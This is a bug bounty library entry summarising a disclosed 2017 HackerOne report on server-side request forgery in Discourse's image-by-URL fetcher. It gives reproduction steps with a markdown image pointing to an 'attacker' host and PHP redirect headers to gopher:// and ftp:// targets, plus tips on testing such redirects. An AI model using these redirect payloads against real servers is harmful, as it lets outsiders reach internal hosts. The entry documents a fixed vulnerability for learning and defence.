# SSRF in upload IMG through URL

Discourse's markdown image-URL fetcher followed redirects to gopher:// and ftp://, letting any poster make the server issue arbitrary internal requests.

- Payout: $64
- Severity: low
- Program: Discourse
- Credited: mariuszdeepsec
- Disclosed: 2017-06-18
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/228377
- Library page: https://bugbountylibrary.com/r/h1%3A228377
- Tags: domain:web impact:internal-access kind:bounty platform:hackerone sev:low tech:ruby technique:oob-exfil vuln:ssrf

**Target:** Markdown image upload-by-URL fetcher (Ruby HTTP client)
**Root cause:** The server-side image fetcher did not restrict URL schemes or redirect targets, so a remote image URL redirecting to gopher:// or ftp:// was followed by the Ruby client.
**Steps:**
1. Post a message containing `[![](http://attacker/malicious3.php)](http://attacker/malicious3.php)`
2. Host malicious3.php returning `header('Location: gopher://192.166.218.53:80/test123');`
3. Send the private message; Discourse fetches the image URL server-side
4. Observe server IP 64.71.168.198 hitting `/test123` in access.log
5. Repeat with `header('Location: ftp://192.166.218.53/');` and observe FTP CONNECT from server IP
**How found:** Researcher suspected the image-by-URL fetcher would follow redirects and tested whether non-HTTP schemes (gopher, ftp) were honored by the Ruby client, confirming via server-side logs.
**Exploitation:** Any user able to post a message embeds an image URL pointing at attacker infrastructure; the attacker's server 302-redirects to gopher:// or ftp://, and Discourse's Ruby fetcher follows it, producing requests from the Discourse server to arbitrary hosts/protocols.
**Insight:** When a server fetches user-supplied image URLs, test redirects to non-HTTP schemes (gopher, ftp, file) — many HTTP clients follow them unless scheme allowlisting is enforced on every hop.
